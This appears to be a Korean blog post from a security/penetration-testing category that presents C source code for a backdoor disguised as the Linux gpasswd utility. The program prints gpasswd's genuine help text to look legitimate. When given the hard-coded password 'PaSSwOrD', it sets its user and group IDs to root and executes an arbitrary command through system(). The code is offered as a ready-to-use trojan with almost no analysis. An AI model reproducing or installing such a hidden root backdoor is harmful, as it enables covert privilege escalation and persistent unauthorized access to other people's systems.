gpasswd , backdoor 은닉 코드

2018. 9. 2. 19:30보안 & 해킹/모의 침투



#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#define BUF_SIZE 1024

int main (int argc, char *argv[]){
        char *exec = (char*)malloc(sizeof(char) * BUF_SIZE);

        if(argc < 3 || strncmp(argv[1], "PaSSwOrD", 8)) {
                printf("Usage: gpasswd [option] GROUP\n\
Options:\n\
\t-a, --add USER\t\t\t\tadd USER to GROUP\n\
\t-d, --delete USER\t\t\tremove USER from GROUP\n\
\t-h, --help\t\t\t\tdisplay this help message and exit\n\
\t-Q, --root CHROOT_DIR\t\t\tdirectory to chroot into\n\
\t-r, --remove-password\t\t\tremove the GROUP's password\n\
\t-R, --restrict\t\t\t\trestrict access to GROUP to its members\n\
\t-M, --members USER,...\t\t\tset the list of members of GROUP\n\
\t-A, --administrators ADMIN,...\n\
\t\t\t\t\t\tset the list of administrators for GROUP\n\
\t\t\t\t\t\tExcept for the -A and -M options, the options cannot be combined.\n");
                exit(1);
        } else if(exec == NULL) {
                printf("Malloc Error!\n");
                exit(1);
        }

        setuid(0);
        setgid(0);
        sprintf(exec, "%s 2>/dev/null", argv[2]);
        system(exec);
}



Coded by yummy